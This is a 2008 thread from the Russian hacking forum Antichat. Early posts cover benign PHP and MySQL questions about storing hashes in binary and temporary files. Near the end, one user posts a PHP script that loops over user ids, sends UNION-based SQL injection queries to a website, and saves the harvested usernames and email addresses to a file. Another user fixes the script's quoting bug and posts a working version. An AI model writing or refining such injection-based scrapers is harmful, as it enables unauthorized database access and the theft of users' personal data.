ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

23.01.2008, 13:39
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме: 1845062
Репутация:
1079
|
|
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
|
|
|

23.01.2008, 14:02
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Macro
Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
Я хочу хэши в таблице Мускула хранить в естественном виде (hex).
Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт.
MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д.
PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются?
PHP код:
$query = "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')";
$r=mysql_query($query);
|
|
|

23.01.2008, 14:06
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 23.01.2008 в 14:09..
|
|
|

23.01.2008, 14:12
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Scipio
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
Это в версии 5 PHP появилось, до этого не было... 
|
|
|

23.01.2008, 14:16
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
угу в 5, я просто привык уже к 5, вот и не подумал
__________________
Карфаген должен быть разрушен...
|
|
|

23.01.2008, 14:31
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от Scipio
угу в 5, я просто привык уже к 5, вот и не подумал
Замечание: Необязательный аргумент raw_output был добавлен в PHP 5.0.0 и по умолчанию равен FALSE
Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее...
PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...
|
|
|

24.01.2008, 19:10
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме: 1301036
Репутация:
1334
|
|
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией
tmpfile().
|
|
|

24.01.2008, 19:15
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Сообщение от cash$$$
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией
tmpfile().
никак, эта функция создает безымянные файлы и работает чисто с дескриптором
__________________
Карфаген должен быть разрушен...
|
|
|

24.01.2008, 19:35
|
|
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
Провел на форуме: 427901
Репутация:
23
|
|
ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out)  *
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt
Код:
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*';
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>
но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...
в чем проблема?
|
|
|

24.01.2008, 20:34
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?
Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)
думаю тебе этого вполне хватит
PHP код:
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*";
echo $i.". ";
$str = file_get_contents($filename);
if(preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
else{
echo " get ".$out['1'];
$save = $out['1']."\n";
fwrite($handler,$save);
}
echo "\n";
}
fclose($handler);
?>
Последний раз редактировалось Doom123; 24.01.2008 в 21:01..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|